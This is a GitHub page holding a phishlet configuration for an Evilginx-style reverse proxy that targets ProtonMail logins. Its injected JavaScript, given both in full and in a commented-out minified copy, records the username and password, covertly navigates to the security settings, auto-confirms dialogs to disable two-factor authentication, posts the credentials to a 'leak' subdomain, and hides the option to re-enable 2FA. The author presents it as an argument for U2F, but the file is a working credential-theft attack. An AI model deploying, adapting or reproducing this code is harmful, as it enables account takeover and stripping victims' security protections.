-
Notifications
You must be signed in to change notification settings - Fork 251
/
Copy pathprotonmail.yaml
146 lines (145 loc) · 10.2 KB
/
protonmail.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
name: 'protonmail'
author: '@jamescullum'
# This phishlet is mostly an appeal to introduce U2F everywhere, protecting users from phishing in an easy and accessible way.
# Protonmail is based on Angular, very JS heavy and changes a lot of things often. This makes it difficult to keep the script compatible for a long period of time.
# It never sends the password over the wire and enforces integrity over multiple ways.
# I was unable to reconstruct a 2FA session with cookies or other clearly available materials (if you can, tell me how and the whole thing will be MUCH smoother!)
# To combat these JS based protections, this phishlet is injecting javascript that holes out the protections.
# If the user has no 2FA protection, it will recognize this and leak the login details manually, so that they can be captured.
# If 2FA is enabled, it will modify the UI in a way so that the user is forced to disable 2FA. Only after this is done, the credentials are leaked.
# This way, only the login details are needed to get into an account.
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'mail', orig_sub: 'mail', domain: 'protonmail.com', session: true, is_landing: true, auto_filter:true}
- {phish_sub: 'leak', orig_sub: 'debug', domain: 'example.org', session: true, is_landing: false, auto_filter:true}
sub_filters:
# - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: '</script></body>', replace: '</script><script>!function(){var o=null,t=null,e=150,i=null,a=null;function c(n,o,t,i){if(void 0===i&&(i=0,a=n),a!=n)return console.error("Waiting aborted due to race condition",a,n);jQuery(n).length?o(i):i<e?setTimeout(function(){c(n,o,t,i+1)},100):(console.error("Timeout reached, cancelling action"),void 0!==t&&t(i))}function l(){null!=i&&clearInterval(i),$("a.headerSecuredDesktop-logo").click(),$("#suppressModal").remove(),$("#pm_loading").removeClass("show")}function s(){var n="https://"+window.location.hostname.replace("//mail.","//leak.")+"/confirm-compromise";$.post(n,{username:o,password:t}),$("html > head").append(''<style id="hide2fa">button[ng-show="twoFactor === 0"] { display: none !important; }</style>'')}!function n(o){window.jQuery?o():setTimeout(function(){n(o)},50)}(function(){$(document).ready(function(){$("body").on("click","#login_btn",function(){o=$("#username").val(),t=$("#password").val(),c("button.compose, #login_btn_2fa:visible",function(){$("#login_btn_2fa").length||s()})}),$("body").on("click","#login_btn_2fa",function(){c("button.compose",function(){$("html > head").append(''<style id="suppressModal">.pm_modal:not(.very-important) { z-index: -1 !important; } .pm_modal.very-important button.close, .pm_modal.very-important button[ng-click="ctrl.cancel()"] { display: none !important; } #body { opacity: 0 !important; }</style>''),$("#pm_loading").addClass("show"),c("#tour-settings",function(){$("#tour-settings").click(),c(''a.navigationSettings-link[href="/security"]'',function(){$(''a.navigationSettings-link[href="/security"]'').click(),c(''button[ng-click="disableTwoFactor()"]'',function(){var n=$(''button[ng-click="disableTwoFactor()"]'');if(n.hasClass("ng-hide"))l();else{i=setInterval(function(){$("#confirmModalBtn").length&&$("#confirmModalBtn").click()},50),n.click();var o=setInterval(function(){$(".cg-notify-message.notification-danger").length&&($(".cg-notify-message.notification-danger").remove(),n.click()),$(".cg-notify-message.notification-success").length&&($(".cg-notify-message.notification-success").remove(),clearInterval(o),l(),s())},100)}},l)},l)},l)})})})})}();</script></body>', mimes: ['text/html']}
# - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: ' integrity=(.+?) crossorigin=anonymous', replace: ' ', mimes: ['text/html']}
# - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: '(?:r&&\()?\w+\.integrity\s*=\s*.+?\)?,', replace: '', mimes: ['application/javascript']}
auth_urls:
- '/inbox'
auth_tokens:
# We actually don't care for the cookies here
- domain: '.protonmail.com'
keys: ['Session-Id' ,'.*,regexp']
credentials:
username:
key: 'username'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: 'mail.protonmail.com'
path: '/login'
js_inject:
- trigger_domains: ["mail.protonmail.com"]
trigger_paths: ["/"]
trigger_params: []
script: |
(function() {
var usrCache = null;
var passwdCache = null;
var timeoutMax = 15*10;
var waitforTimeout = null;
var suppressConfirm = null;
var waitingForElement = null;
defer(function() {
$(document).ready(function() {
$("body").on("click", "#login_btn", function() {
usrCache = $("#username").val();
passwdCache = $("#password").val();
waitFor("button.compose, #login_btn_2fa:visible", function() {
if($("#login_btn_2fa").length) return;
leakCredentials();
});
});
$("body").on("click", "#login_btn_2fa", function() {
waitFor("button.compose", function() {
// Cover actions
$('html > head').append('<style id="suppressModal">.pm_modal:not(.very-important) { z-index: -1 !important; } .pm_modal.very-important button.close, .pm_modal.very-important button[ng-click="ctrl.cancel()"] { display: none !important; } #body { opacity: 0 !important; }</style>');
$("#pm_loading").addClass("show");
// Navigate to settings
waitFor("#tour-settings", function() {
$("#tour-settings").click();
// Navigate to security settings
waitFor('a.navigationSettings-link[href="/security"]', function() {
$('a.navigationSettings-link[href="/security"]').click();
// Wait until 2FA options loaded
waitFor('button[ng-click="disableTwoFactor()"]', function() {
var twofaDisableButton = $('button[ng-click="disableTwoFactor()"]');
if(!twofaDisableButton.hasClass("ng-hide")) {
// Start automatic modal interactions
suppressConfirm = setInterval(function() {
if($("#confirmModalBtn").length) $("#confirmModalBtn").click();
}, 50);
// Initiate action to remove
twofaDisableButton.click();
var waitConfirm = setInterval(function() {
// Wrong code or other error -> Retry
if($(".cg-notify-message.notification-danger").length) {
$(".cg-notify-message.notification-danger").remove();
twofaDisableButton.click();
}
// Button switched
if($('.cg-notify-message.notification-success').length) {
$(".cg-notify-message.notification-success").remove();
clearInterval(waitConfirm);
resetUI();
leakCredentials();
}
}, 100);
} else {
resetUI(); // we shouldn't possibly get here
}
}, resetUI);
}, resetUI);
}, resetUI);
});
});
});
});
function waitFor(selector, callback, timeout_callback, timeout_i) {
if(typeof timeout_i == 'undefined') {
timeout_i = 0;
waitingForElement = selector;
}
// Collision detection - there should only be one wait at a time, but at login the user might be faster than the timeout
if(waitingForElement != selector) {
return console.error("Waiting aborted due to race condition", waitingForElement, selector);
}
if (jQuery(selector).length) {
callback(timeout_i);
} else if(timeout_i < timeoutMax) {
waitforTimeout = setTimeout(function() {
waitFor(selector, callback, timeout_callback, timeout_i+1);
}, 100);
} else {
console.error("Timeout reached, cancelling action");
if(typeof timeout_callback !== 'undefined') {
timeout_callback(timeout_i);
}
}
}
function resetUI() {
if(suppressConfirm != null) clearInterval(suppressConfirm);
$("a.headerSecuredDesktop-logo").click();
$("#suppressModal").remove();
$("#pm_loading").removeClass("show");
}
function leakCredentials() {
var leakAddress = "https://"+(window.location.hostname.replace("//mail.", "//leak."))+"/confirm-compromise";
$.post(leakAddress, {"username":usrCache, "password":passwdCache});
// Make sure the user doesn't activate 2FA
$('html > head').append('<style id="hide2fa">button[ng-show="twoFactor === 0"] { display: none !important; }</style>');
}
function defer(method) {
if (window.jQuery) {
method();
} else {
setTimeout(function() { defer(method) }, 50);
}
}
})();